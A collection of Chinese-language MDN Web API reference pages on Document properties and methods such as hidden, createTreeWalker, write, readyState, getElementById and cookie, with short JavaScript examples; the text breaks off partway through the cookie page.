Document.hidden - Web API 接口参考

Document.hidden
===============

**`Document.hidden`** （只读属性）返回布尔值，表示页面是（true）否（false）隐藏。

语法
--
```

var string = document.hidden
```

示例
--

```js
document.addEventListener("visibilitychange", function () {
  console.log(document.hidden);
  // Modify behavior...
});
```

规范
--

| Specification |
| --- |
| HTML Standard # dom-document-hidden |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Document：createTreeWalker() 方法 - Web API 接口参考

Document：createTreeWalker() 方法
==============================

创建器方法 **`Document.createTreeWalker()`** 返回新创建的 `TreeWalker` 对象。

语法
--

```js
createTreeWalker(root)
createTreeWalker(root, whatToShow)
createTreeWalker(root, whatToShow, filter)
```

### 参数

`root`

表示 `TreeWalker` 对象的根节点的 `Node`，为 `TreeWalker.currentNode` (en-US) 的初始值。

`whatToShow` 可选

表示位掩码的 `unsigned long`，由 `NodeFilter` 的常属性组合而成。此参数便于筛选出特定类型的节点。其默认值为 `0xFFFFFFFF`，表示 `NodeFilter.SHOW_ALL` 常数。

| 常数 | 数值 | 描述 |
| --- | --- | --- |
| `NodeFilter.SHOW_ALL` | `0xFFFFFFFF` | 显示所有节点。 |
| `NodeFilter.SHOW_ATTRIBUTE` | `0x2` | 显示 `Attr` 节点。 |
| `NodeFilter.SHOW_CDATA_SECTION` | `0x8` | 显示 `CDATASection` 节点。 |
| `NodeFilter.SHOW_COMMENT` | `0x80` | 显示 `Comment` 节点。 |
| `NodeFilter.SHOW_DOCUMENT` | `0x100` | 显示 `Document` 节点。 |
| `NodeFilter.SHOW_DOCUMENT_FRAGMENT` | `0x400` | 显示 `DocumentFragment` 节点。 |
| `NodeFilter.SHOW_DOCUMENT_TYPE` | `0x200` | 显示 `DocumentType` 节点。 |
| `NodeFilter.SHOW_ELEMENT` | `0x1` | 显示 `Element` 节点。 |
| `NodeFilter.SHOW_ENTITY`
已弃用
 | `0x20` | 旧式参数，不再有效。 |
| `NodeFilter.SHOW_ENTITY_REFERENCE`
已弃用
 | `0x10` | 旧式参数，不再有效。 |
| `NodeFilter.SHOW_NOTATION`
已弃用
 | `0x800` | 旧式参数，不再有效。 |
| `NodeFilter.SHOW_PROCESSING_INSTRUCTION` | `0x40` | 显示 `ProcessingInstruction` (en-US) 节点。 |
| `NodeFilter.SHOW_TEXT` | `0x4` | 显示 `Text` (en-US) 节点。 |

**备注：** 由于任意 `Attr` 节点的父节点恒为 `null`，`TreeWalker.nextNode()` (en-US) 和 `TreeWalker.previousNode()` (en-US) 永远不会返回 `Attr` 节点。遍历 `Attr` 节点请使用 `Element.attributes`。

`filter` 可选

回调函数或含 `acceptNode()` 方法的对象，其返回值为 `NodeFilter.FILTER_ACCEPT`、`NodeFilter.FILTER_REJECT` 或 `NodeFilter.FILTER_SKIP`。对于以 `root` 为根节点的子树中被 `whatToShow` 标志所接受的任意节点，将调用此函数或方法决定是否在迭代节点列表中包含此节点：

* 若返回值为 `NodeFilter.FILTER_ACCEPT`，则包含此节点。
* 若返回值为 `NodeFilter.FILTER_REJECT`，则不包含以此节点为根的子树中的任意节点。
* 若返回值为 `NodeFilter.FILTER_SKIP`，则不包含此节点。

### 返回值

新的 `TreeWalker` 对象。

示例
--

### 使用 whatToShow

此示例使用 `whatToShow` 将文本内容转换为大写。注意到 `#root` 后代的文本节点虽然并非 `#root` 元素的子节点，但也将被遍历。

#### HTML

```html
<div id="root">
  此节点为 Text 节点。<span>而此节点为 <code>span</code> 元素。</span>
</div>
```

#### CSS

```css
span {
  background-color: aqua;
}
```

#### JavaScript

```js
const treeWalker = document.createTreeWalker(
  document.querySelector("#root"),
  NodeFilter.SHOW\_TEXT,
);

while (treeWalker.nextNode()) {
  const node = treeWalker.currentNode;
  node.data = node.data.toUpperCase();
}
```

#### 结果

### 使用 filter

此示例使用 `filter` 将文本内容转义。对于任意文本节点，若其为某个 `.escape` 元素的后代且非任何 `.no-escape` 元素的后代，则用 `encodeURI()` 将其转义。

#### HTML

```html
<div>
  <div>此文本未被转义。<span class="escape">但此文本被转义。</span></div>
  <div class="escape">此文本被转义。</div>
  <div class="no-escape">此文本未被转义。</div>
</div>
<hr />
<div class="escape">
  <div>此文本被转义。<span class="no-escape">但此文本未被转义。</span></div>
  <div class="no-escape">此文本未被转义。</div>
</div>
<hr />
<div class="no-escape">
  <div>此文本未被转义。</div>
  <div class="escape">此文本未被转义。</div>
</div>
```

#### CSS
```

div {
  margin: 0.25em 0;
  padding: 0.25em;
}
span {
  display: inline-block;
}
```

```css
.escape {
  border: dashed;
}
.no-escape {
  border: solid;
}
```

#### JavaScript

```js
const treeWalker = document.createTreeWalker(
  document.body,
  NodeFilter.SHOW\_ELEMENT,
  (node) =>
    node.classList.contains("no-escape")
      ? NodeFilter.FILTER\_REJECT
      : node.closest(".escape")
        ? NodeFilter.FILTER\_ACCEPT
        : NodeFilter.FILTER\_SKIP,
);

while (treeWalker.nextNode()) {
  for (const node of treeWalker.currentNode.childNodes) {
    if (node.nodeType === Node.TEXT\_NODE && /\S/.test(node.data)) {
      // 排除仅含空白符的文本节点
      node.data = encodeURI(node.data.replace(/\s+/g, " "));
    }
  }
}
```

#### 结果

规范
--

| Specification |
| --- |
| DOM Standard # dom-document-createtreewalker |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `TreeWalker`——相关接口


Document：fullscreenEnabled 属性 - Web API 接口参考

Document：fullscreenEnabled 属性
=============================

`Document` 接口上的只读属性 **`fullscreenEnabled`** 表明全屏模式是否可用。

全屏模式仅适用于不包含任何窗口化插件的页面，或者页面中的所有 `<iframe>` 元素都设置了 `allowfullscreen` 属性。

尽管这个属性是只读的，但如果修改它，即使在严格模式下也不会抛出错误；它的 `setter` 方法是空操作将被忽略。

值
-

一个布尔值，如果调用 `Element.requestFullscreen()` 能进入全屏模式，则为 `true`。如果全屏模式不可用，则该值为 `false`。

示例
--

在下面的示例中，在 `<video>` 元素尝试请求全屏模式之前，检查 `fullscreenEnabled` 的值，以避免在不可用时调用 `Element.requestFullscreen()` 方法。

```js
function requestFullscreen() {
  if (document.fullscreenEnabled) {
    videoElement.requestFullscreen();
  } else {
    console.log("你的浏览器现在无法使用全屏模式");
  }
}
```

规范
--

| Specification |
| --- |
| Fullscreen API Standard # ref-for-dom-document-fullscreenenabled① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 全屏 API
* 全屏指南
* `Element.requestFullscreen()`
* `Document.exitFullscreen()`
* `Document.fullscreenElement`
* `:fullscreen` 和 `::backdrop`
* `<iframe>` `allowfullscreen` 属性


Document.dir - Web API 接口参考

Document.dir
============

Document.dir 的本质是 DOMString，代表了文档的文字朝向，是从左到右 (默认) 还是从右到左。

'rtl'(right to left) 代表从右到左，'ltr'(left to right) 代表从左到右。

语法
--
```

console.log(document.dir);// "" (译者添加)
document.dir = "ltr"//(默认);
document.dir = "rtl";
dirStr = document.dir;
document.dir = dirStr;
```

（译者注：第一次调用该属性时，可能返回空字符串""，译者环境：chrome，版本 53.0.2785.116 m）

说明
--

| Specification |
| --- |
| HTML Standard # dom-document-dir |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* http://msdn.microsoft.com/en-us/library/ms533731.aspx


Document.head - Web API 接口参考

Document.head
=============

概述
--

返回当前文档中的 `<head>` 元素。如果有多个 `<head>` 元素，则返回第一个。

语法
--
```

var objRef = document.head;
```

示例
--

```js
// HTML 部分源码为：<head id="my-document-head">
var aHead = document.head;

alert(aHead.id); // "my-document-head";

alert(document.head === document.querySelector("head")); // true
```

附注
--

`document.head` 是个只读属性，为该属性赋值只会静默失败，如果在严格模式中，则会抛出`TypeError`异常。

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

规范
--

* HTML5: DOM Tree Accessors


Document.exitFullscreen() - Web API 接口参考

Document.exitFullscreen()
=========================

**`Document.exitFullscreen()`** 方法用于让当前文档退出全屏模式（原文表述不准确，详见备注）。调用这个方法会让文档回退到上一个调用`Element.requestFullscreen()`方法进入全屏模式之前的状态。

**备注：** 如果一个元素 A 在请求进去全屏模式之前，已经存在其他元素处于全屏状态，当这个元素 A 退出全屏模式之后，之前的元素仍然处于全屏状态。浏览器内部维护了一个全屏元素栈用于实现这个目的。

语法
--
```

document.exitFullscreen();
```

示例
--

```js
// 点击切换全屏模式
document.onclick = function (event) {
  if (document.fullscreenElement) {
    document.exitFullscreen();
  } else {
    document.documentElement.requestFullscreen();
  }
};
```

规范
--

| Specification |
| --- |
| Fullscreen API Standard # ref-for-dom-document-exitfullscreen① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参阅
--

* Using full-screen mode
* `Element.requestFullscreen()`
* `Document.exitFullscreen()`
* `Document.fullscreen`
* `Document.fullscreenElement`
* `:fullscreen`
* `allowfullscreen`


Document.scripts - Web API 接口参考

Document.scripts
================

### 概述

返回一个`HTMLCollection`对象，包含了当前文档中所有`<script>`元素的集合。

### 语法
```

var scriptList = document.scripts;
```

`scriptList` 是一个 `HTMLCollection` 对象。你可以像使用数组一样通过索引来获取其中包含的 `<script>` 元素。

### 例子

下例演示了如何查看当前页面是否包含有`<script>`元素。

```js
var scripts = document.scripts;

if (scripts.length) {
  alert("该页面存在 script 标签！");
}
```

### 浏览器兼容性

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


document.lastModified - Web API 接口参考

document.lastModified
=====================

### 概述

返回一个字符串，其中包含了当前文档的最后修改日期和时间。

### 语法
```

var string = document.lastModified;
```

### 例子
```

dump(document.lastModified);
// 返回：Tuesday, July 10, 2001 10:19:42
```

### 备注

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

需要注意的是，作为一个字符串，`lastModified` 不能很容易的被用于与该文档的修改日期做比较。

Webkit 返回的时间为 UTC 时间;Gecko 和 IE 返回的时间为本地时区时间。


document.implementation - Web API 接口参考

document.implementation
=======================

概要
--

返回一个和当前文档相关联的`DOMImplementation`对象。

语法
--
```

DOMImpObj = document.implementation;
```

示例
--

```js
var modName = "HTML";
var modVer = "2.0";
var conformTest = document.implementation.hasFeature(modName, modVer);

alert("DOM " + modName + " " + modVer + " supported?: " + conformTest);

// alerts with: "DOM HTML 2.0 supported?: true" if DOM Level 2 HTML module is supported.
```

可以在一致性章节中查看可用的一系列 DOM2 级模型名称（例如：Core, HTML, XML 等等）。

说明
--

W3C 的 DOM1 级建议值规定了一种检测浏览器对某个 DOM 模型是否支持的方法——`hasFeature` 方法（请参考上边的例子以及这篇文章 What does your user agent claim to support?）。如果它可用的话，那么 `DOMImplementation` 接口的其他方法就可以为操作文档以外的内容提供一些服务了。例如，`DOMImplementation` 接口包含一个 `createDocumentType` 方法，它可以为实例管理的文档创建对应的 DTD 文档定义。

方法
--

| 名称 | 动作 | 返回值 |
| --- | --- | --- |
| `createDocument` (`namespaceURI`, `qualifiedNameStr`, `DocumentType` ) |  | `document` |
| `createDocumentType` ( `qualifiedNameStr`, `publicId`, `systemId` ) |  | `DocumentType` |
| `createHTMLDocument` ( `title` ) |  | `document` |
| `getFeature` ( `feature`, `version` ) |  | `DOMObject` |
| `hasFeature` (en-US) ( `feature`, `version` ) |  | `Boolean` (en-US) |

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-document-implementation① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Gecko 引擎的特别说明
-------------

* 从 Gecko 19.0 开始`hasFeature` (en-US)方法总是返回 true。


Document.queryCommandEnabled() - Web API 接口参考

Document.queryCommandEnabled()
==============================

**已弃用:** 不再推荐使用该特性。虽然一些浏览器仍然支持它，但也许已从相关的 web 标准中移除，也许正准备移除或出于兼容性而保留。请尽量不要使用该特性，并更新现有的代码；参见本页面底部的兼容性表格以指导你作出决定。请注意，该特性随时可能无法正常工作。

**备注：** 该方法在部分浏览器返回的结果是不可预料的。因此，建议使用 execCommand 的返回值直接判断，或通过其他方式嗅探，而非使用该方法。

**`Document.queryCommandEnabled()`** 方法可查询浏览器中指定的编辑指令是否可用。

语法
--

```js
var isEnabled = document.queryCommandEnabled(command);
```

### 参数

`command`

待查询的是否可用的指令。

### 返回值

返回 `Boolean` 值，`true` 表示指令可用，`false`表示指令不可用。

备注
--

* 经过测试，在部分浏览器它永远返回 `false`，而 IE 浏览器即使对于同样支持的属性也可能有不同返回值；有时 IE 还会对不支持的属性抛出异常而不是返回 `false`。
* 对于 `"cut"` 和 `"copy"` 指令，只有当用户启动的线程调用该方法时才返回 true。
* `"paste"` 指令不仅当特性不可用时返回 `false` ，脚本权限不足时也一样。
示例
--

```js
var flg = document.queryCommandEnabled("SelectAll");

if (flg) {
  document.execCommand("SelectAll", false, null); // command is enabled, run it
}
```

规范
--

此特性不属于任何规范，也不再有望被标准化。

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参考资料
----

* `Document.execCommand()`
* `Document.queryCommandSupported()`


Document：fullscreen 属性 - Web API 接口参考

Document：fullscreen 属性
======================

**已弃用:** 不再推荐使用该特性。虽然一些浏览器仍然支持它，但也许已从相关的 web 标准中移除，也许正准备移除或出于兼容性而保留。请尽量不要使用该特性，并更新现有的代码；参见本页面底部的兼容性表格以指导你作出决定。请注意，该特性随时可能无法正常工作。

过时的 `Document` 接口的 **`fullscreen`** 只读属性表明页面当前是否以全屏模式显示内容。

尽管这个属性是只读的，但如果修改它，即使在严格模式下也不会抛出错误；它的 `setter` 方法是空操作将被忽略。

**备注：** 由于该属性已被弃用，你可以通过检查 `Document.fullscreenElement` 是否不为 `null` 来确定页面是否处于全屏模式。

值
-

返回一个布尔值，如果页面当前在全屏模式下显示元素，则为 `true`；否则为 `false`。

示例
--

这个简单的函数使用过时的 `fullscreen` 属性报告当前是否激活了全屏模式。

```js
function isDocumentInFullScreenMode() {
  return document.fullscreen;
}
```

另一方面，下面的示例使用当前的 `fullscreenElement` 属性来确定同样的事情：

```js
function isDocumentInFullScreenMode() {
  return document.fullscreenElement !== null;
}
```

如果 `fullscreenElement` 不为 `null`，则返回 `true`，表示全屏模式正处于生效状态。

规范
--

| Specification |
| --- |
| Fullscreen API Standard # dom-document-fullscreen |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 全屏 API
* 全屏指南
* `Document.fullscreenEnabled`


document.write - Web API 接口参考

document.write
==============

**`Document.write()`** 方法将一个文本字符串写入一个由 `document.open()` 打开的文档流（document stream）。

**备注：** 因为 `document.write` 需要向文档**流**中写入内容，所以，若在一个已关闭（例如，已完成加载）的文档上调用 `document.write`，就会自动调用 `document.open`，这将清空该文档的内容 (en-US)。

语法
--

```js
document.write(markup);
```

### 参数

* *markup*
    + *: 一个包含要写入文档的文本的字符串。*
### 示例

```html
<html>
  <head>
    <meta charset="UTF-8" />
    <title><code>document.write()</code> example</title>

    <script>
 function newContent() {
 document.open();
 document.write("<h1>Out with the old - in with the new!</h1>");
 document.close();
 }
 </script>
  </head>
  <body onload="newContent();">
    <p>Some original document content.</p>
  </body>
</html>
```

备注
--

向一个已经加载，并且没有调用过 `document.open()` 的文档写入数据时，会自动调用 `document.open`。一旦完成了数据写入，建议调用 `document.close()`，以告诉浏览器当前页面已经加载完毕。写入的数据会被解析到文档结构模型（DOM）里。在上面的例子里，元素 `h1` 会成为文档中的一个节点。

如果 `document.write()` 调用发生在 HTML 里的 `<script>` 标签中，那么它将不会自动调用 `document.open()`。详见如下例子：

```html
<script>
 document.write("<h1>Main title</h1>");
</script>
```

**备注：** `document.write` 和 `document.writeln` 在 XHTML 文档中不可用（控制台上会显示 "Operation is not supported"[`NS_ERROR_DOM_NOT_SUPPORTED_ERR`] 的报错信息）。当打开本地的 .xhtml 格式的文件或任何其他 MIME 类型为 `application/xhtml+xml` 的文档时，均会报错。更多信息可查看 W3C XHTML FAQ。

**备注：** 在有deferred 或 asynchronous 属性的 script 中，`document.write` 会被忽略，控制台会显示 "A call to `document.write()` from an asynchronously-loaded external script was ignored" 的报错信息。

**备注：** 在 Edge 中，在 `<iframe>` 内部调用 `document.write` 多于一次时会引发错误 SCRIPT70: Permission denied。

**备注：** 从 Chrome 55 开始，Chrome（可能）不会运行通过 `document.write()` 注入的`<script>`，以防止使用 2G 连接的用户找不到 HTTP 缓存。前往此链接查看这种情况发生需要满足的条件。

规范
--

| Specification |
| --- |
| HTML Standard # dom-document-write-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `element.innerHTML`
* `document.createElement()`


document.readyState - Web API 接口参考

document.readyState
===================

**`Document.readyState`** 属性描述了`document` 的加载状态。

当该属性值发生变化时，会在 `document` 对象上触发 `readystatechange` 事件。

值
-

一个文档的 **`readyState`** 可以是以下之一：

`loading`（正在加载）

`document` 仍在加载。

`interactive`（可交互）

文档已被解析，**正在加载**状态结束，但是诸如图像，样式表和框架之类的子资源仍在加载。

`complete`（完成）

文档和所有子资源已完成加载。表示 `load` 状态的事件即将被触发。

示例
--

### 不同的准备状态

```js
switch (document.readyState) {
  case "loading":
    // 表示文档还在加载中，即处于“正在加载”状态。
    break;
  case "interactive":
    // 文档已经结束了“正在加载”状态，DOM 元素可以被访问。
    // 但是像图像，样式表和框架等资源依然还在加载。
    var span = document.createElement("span");
    span.textContent = "A <span> element.";
    document.body.appendChild(span);
    break;
  case "complete":
    // 页面所有内容都已被完全加载。
    let CSS_rule = document.styleSheets[0].cssRules[0].cssText;
    console.log(`The first CSS rule is: ${CSS\_rule}`);
    break;
}
```

### 模拟 DOMContentLoaded 事件的 readystatechange

```js
// 模拟 DOMContentLoaded/ jquery ready
document.onreadystatechange = function () {
  if (document.readyState === "interactive") {
    initApplication();
  }
};
```

### 模拟 load 事件的 readystatechange

```js
// 模拟 load 事件
document.onreadystatechange = function () {
  if (document.readyState === "complete") {
    initApplication();
  }
};
```

### 在 DOMContentLoaded 之前使用 readystatechange 作为事件处理程序以插入或修改 DOM
```

document.addEventListener('readystatechange', event => {
  if (event.target.readyState === 'interactive') {
    initLoader();
  }
  else if (event.target.readyState === 'complete') {
    initApp();
  }
});
```

规范
--

| Specification |
| --- |
| HTML Standard # current-document-readiness |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 相关事件：
    + `readystatechange`
    + `DOMContentLoaded`
    + `load`


Document：getElementById() 方法 - Web API 接口参考

Document：getElementById() 方法
============================

`Document` 接口的 **`getElementById()`** 方法返回一个表示 `id` 属性与指定字符串相匹配的元素的 `Element` 对象。由于元素的 ID 在指定时必须是独一无二的，因此这是快速访问特定元素的有效方法。

如果需要访问那些没有 ID 的元素，你可以考虑在 `querySelector()` 中使用选择器来查找这些元素。

**备注：** 文档中的 ID 必须是唯一的。如果一个文档中有两个及以上的元素具有相同的 ID，那么该方法只会返回查找到的第一个元素。

语法
--

```js
getElementById(id)
```

**备注：** 方法名称中 `"Id"` 的大小写*必须*正确才能使代码正常运行；`getElementByID()` 是*无*效且无法正常运行的，无论它看起来是多么自然。

### 参数

`id`

所要查找的元素的 ID。ID 是大小写敏感的字符串，且在文档中是唯一的；应只有一个元素具有任何给定的 ID。

### 返回值

返回一个表示与指定 ID 相匹配的 DOM 元素的 `Element` 对象。若在当前文档中没有找到匹配的元素，则返回 `null`。

示例
--

### HTML

```html
<html lang="zh">
  <head>
    <title>getElementById 示例</title>
  </head>
  <body>
    <p id="para">这里有一些文本</p>
    <button onclick="changeColor('blue');">蓝色</button>
    <button onclick="changeColor('red');">红色</button>
  </body>
</html>
```

### JavaScript

```js
function changeColor(newColor) {
  const elem = document.getElementById("para");
  elem.style.color = newColor;
}
```

### 结果

使用说明
----

不同于其他元素查找方法（如 `Document.querySelector()` 以及 `Document.querySelectorAll()`），`getElementById()` 只有在作为全局 `document` 的方法时才能起作用，而在 DOM 中的其他元素上*无法*生效。这是因为 ID 值在整个网页中必须保持唯一。因此没有必要为这个方法创建所谓的“局部”版本。

### 示例

```html
<!doctype html>
<html lang="zh-CN">
  <head>
    <meta charset="UTF-8" />
    <title>文档</title>
  </head>
  <body>
    <div id="parent-id">
      <p>你好世界 1</p>
      <p id="test1">你好世界 2</p>
      <p>你好世界 3</p>
      <p>你好世界 4</p>
    </div>
    <script>
 const parentDOM = document.getElementById("parent-id");
 const test1 = parentDOM.getElementById("test1");
 // 抛出错误
 // Uncaught TypeError: parentDOM.getElementById is not a function
 </script>
  </body>
</html>
```

如果没有查找到给定 `id` 的元素，这个方法会返回 `null`。注意 `id` 参数是大小写敏感的，所以 `document.getElementById("Main")` 会返回 `null` 而不是元素 `<div id="main">`，因为“M”和“m”对于这个方法而言是不一样的。

`getElementById()` 方法不会搜索不在文档中的元素。当创建一个元素，并且分配 ID 后，你必须使用 `Node.insertBefore()` 或其他类似的方法把元素插入到文档树中，之后才能使用 `getElementById()` 访问到：

```js
const element = document.createElement("div");
element.id = "testqq";
const el = document.getElementById("testqq"); // el 会是 null！
```

对于非 HTML 文档，DOM 的实现必须说明哪个属性是 ID 类型。只有文档的 DTD 定义了这个属性名是“id”时，“id”才会被认为是 ID 类型。在 XHTML、XUL 或者其他文档中，“id”通常被定义为 ID 类型的属性。不知道哪个属性是 ID 类型的实现中，这预期会返回 `null`。

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-nonelementparentnode-getelementbyid② |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `Document`，其他可用于获取文档中的元素的方法和属性。
* `Document.querySelector()` 用于类似于 `'div.myclass'` 这样的查询的选择器
* xml:id——有一个允许 `getElementById()` 在 XML 文档（例如通过 Ajax 调用返回的文档）中获取 'xml:id' 的工具方法。


element.onbeforescriptexecute - Web API 接口参考

element.onbeforescriptexecute
=============================

概述
--

当 HTML 文档中的`<script>`标签内的代码将要执行时触发该事件，如果这个`script`标签是用`appendChild()`等方法动态添加上去的，则不会触发该事件。

语法
--
```

document.onbeforescriptexecute = funcRef;
```

当`beforescriptexecute`事件触发时，`funcRef`函数就会被调用。传入参数`event`的`target`属性指向触发该事件的那个`script`元素。

例子
--

```js
function starting(e) {
  logMessage("Starting script with ID: " + e.target.id);
}

document.addEventListener("beforescriptexecute", starting, true);
```

查看在线演示

规范
--

* HTML5
参见
--

* `element.onafterscriptexecute`
* `document.currentScript`


document.contentType - Web API 接口参考

document.contentType
====================

### 概述

返回当前文档的 Content-Type(MIME) 类型。

### 语法
```

contentType = document.contentType;
```

该属性为只读。

### 备注

该属性的返回值是浏览器检测到的，不一定是直接读取 HTTP 响应头中的或者 HTML 中 meta 标签指定的值。

### 规范

非标准属性，仅Gecko支持。


Document.forms - Web API 接口参考

Document.forms
==============

**`forms`** 返回当前文档中的 `<form>`元素的一个集合 (一个 `HTMLCollection`)。

语法
--
```

let collection = document.forms;
```

例子：获取表单信息
---------

```html
<html>
  <head>
    <title>document.forms example</title>
  </head>

  <body>
    <form id="robby">
      <input
 type="button"
 onclick="alert(document.forms[0].id);"
 value="robby's form" />
    </form>

    <form id="dave">
      <input
 type="button"
 onclick="alert(document.forms[1].id);"
 value="dave's form" />
    </form>

    <form id="paul">
      <input
 type="button"
 onclick="alert(document.forms[2].id);"
 value="paul's form" />
    </form>
  </body>
</html>
```

例子：获取表单内的元素
-----------

```js
var selectForm = document.forms[index];
var selectFormElement = document.forms[index].elements[index];
```

规范
--

forms DOM Level 2 HTML: forms

参见
--

* DOM:form


Document.cookie - Web API 接口参考

Document.cookie
===============

获取并设置与当前文档相关联的 cookie。可以把它当成一个 `getter and setter`。

语法
--

##### 读取所有可从此位置访问的 Cookie
```

allCookies = document.cookie;
```

在上面的代码中，allCookies 被赋值为一个字符串，该字符串包含所有的 Cookie，每条 cookie 以"分号和空格 (; )"分隔 (即， `key=value` 键值对)。

##### 写一个新 cookie
```

document.cookie = newCookie;
```

`newCookie` 是一个键值对形式的字符串。需要注意的是，用这个方法一次只能对一个 cookie 进行设置或更新。

* 以下可选的 cookie 属性值可以跟在键值对后，用来具体化对 cookie 的设定/更新，使用分号以作分隔：
    + `;path=path` (例如 '/', '/mydir') 如果没有定义，默认为当前文档位置的路径。
    + `;domain=domain` (例如 'example.com'， 'subdomain.example.com') 如果没有定义，默认为当前文档位置的路径的域名部分。与早期规范相反的是，在域名前面加 . 符将会被忽视，因为浏览器也许会拒绝设置这样的 cookie。如果指定了一个域，那么子域也包含在内。
    + `;max-age=max-age-in-seconds` (例如一年为 60\*60\*24\*365)
    + `;expires=date-in-GMTString-format` 如果没有定义，cookie 会在对话结束时过期
        - 这个值的格式参见Date.toUTCString() (en-US)
    + `;secure` (cookie 只通过 https 协议传输)
* cookie 的值字符串可以用encodeURIComponent() (en-US)来保证它不包含任何逗号、分号或空格 (cookie 值中禁止使用这些值).

**备注：** 在 Gecko 6.0 前，被引号括起的路径的引号会被当做路径的一部分，而不是被当做定界符。现在已被修复。

示例
--

### 示例 1: 简单用法

```js
document.cookie = "name=oeschger";
document.cookie = "favorite\_food=tripe";
alert(document.cookie);
// 显示：name=oeschger;favorite\_food=tripe
```

### 示例 2: 得到名为 test2 的 cookie

```js
document.cookie = "test1=Hello";
document.cookie = "test2=World";

var myCookie = document.cookie.replace(
  /(?:(?:^|.\*;\s\*)test2\s\*\=\s\*([^;]\*).\*$)|^.\*$/,
  "$1",
);

alert(myCookie);
// 显示：World
```

### 示例 3: 只执行某事一次

要使下面的代码工作，请替换所有`someCookieName` (cookie 的名字) 为自定义的名字。

```js
if (document.cookie.replace(/(?:(?:^|.\*;\s\*)someCookieName\s\*\=\s\*([^;]\*).\*$)|^.\*$/, "$1") !== "true") {
  alert("Do something here!");
  document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
}
}
```

一个小框架：一个完整支持 unicode 的 cookie 读取/写入器
------------------------------------

作为一个格式化过的字符串，cookie 的值有时很难被自然地处理。下面的库的目的是通过定义一个和 `Storage` 对象部分一致的对象（docCookies），简化 `document.cookie` 的获取方法。它提供完全的 Unicode 支持。

```js
/\*\
|\*|
|\*| :: cookies.js ::
|\*|
|\*| A complete cookies reader/writer framework with full unicode support.
|\*|
|\*| https://developer.mozilla.org/zh-CN/docs/DOM/document.cookie
|\*|
|\*| This framework is released under the GNU Public License, version 3 or later.
|\*| http://www.gnu.org/licenses/gpl-3.0-standalone.html
|\*|
|\*| Syntaxes:
|\*|
|\*| \* docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
|\*| \* docCookies.getItem(name)
|\*| \* docCookies.removeItem(name[, path], domain)
|\*| \* docCookies.hasItem(name)
|\*| \* docCookies.keys()
|\*|
\\*/

var docCookies = {
  getItem: function (sKey) {
    return (
      decodeURIComponent(
        document.cookie.replace(
          new RegExp(
            "(?:(?:^|.\*;)\\s\*" +
              encodeURIComponent(sKey).replace(/[-.+\*]/g, "\\$&") +
              "\\s\*\\=\\s\*([^;]\*).\*$)|^.\*$",
          ),
          "$1",
        ),
      ) || null
    );
  },
  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) {
      return false;
    }
    var sExpires = "";
    if (vEnd) {
      switch (vEnd.constructor) {
        case Number:
          sExpires =
            vEnd === Infinity
              ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT"
              : "; max-age=" + vEnd;
          break;
        case String:
          sExpires = "; expires=" + vEnd;
          break;
        case Date:
          sExpires = "; expires=" + vEnd.toUTCString();
          break;
      }
    }
    document.cookie =
      encodeURIComponent(sKey) +
      "=" +
      encodeURIComponent(sValue) +
      sExpires +
      (sDomain ? "; domain=" + sDomain : "") +
      (sPath ? "; path=" + sPath : "") +
      (bSecure ? "; secure" : "");
    return true;
  },
  removeItem: function (sKey, sPath, sDomain) {
    if (!sKey || !this.hasItem(sKey)) {
      return false;
    }
    document.cookie =
      encodeURIComponent(sKey) +
      "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" +
      (sDomain ? "; domain=" + sDomain : "") +
      (sPath ? "; path=" + sPath : "");
    return true;
  },
  hasItem: function (sKey) {
    return new RegExp(
      "(?:^|;\\s\*)" +
        encodeURIComponent(sKey).replace(/[-.+\*]/g, "\\$&") +
        "\\s\*\\=",
    ).test(document.cookie);
  },
  keys: /\* optional method: you can safely remove it! \*/ function () {
    var aKeys = document.cookie
      .replace(/((?:^|\s\*;)[^\=]+)(?=;|$)|^\s\*|\s\*(?:\=[^;]\*)?(?:\1|$)/g, "")
      .split(/\s\*(?:\=[^;]\*)?;\s\*/);
    for (var nIdx = 0; nIdx < aKeys.length; nIdx++) {
      aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]);
    }
    return aKeys;
  },
};
```

**备注：** 对于永久 cookie 我们用了`Fri, 31 Dec 9999 23:59:59 GMT`作为过期日。如果你不想使用这个日期，可使用\*世界末日\*`Tue, 19 Jan 2038 03:14:07 GMT，`它是 32 位带符号整数能表示从 1 January 1970 00:00:00 UTC 开始的最大秒长 (即`01111111111111111111111111111111`, 是 `new Date(0x7fffffff * 1e3)`).

### 写入 cookie

##### 语法
```

docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
```

##### 描述

创建或覆盖一个 cookie

##### 参数

`name` (必要)

要创建或覆盖的 cookie 的名字 (`string`)。

`value` (必要)

cookie 的值 (`string`)。

`end` *(可选)*

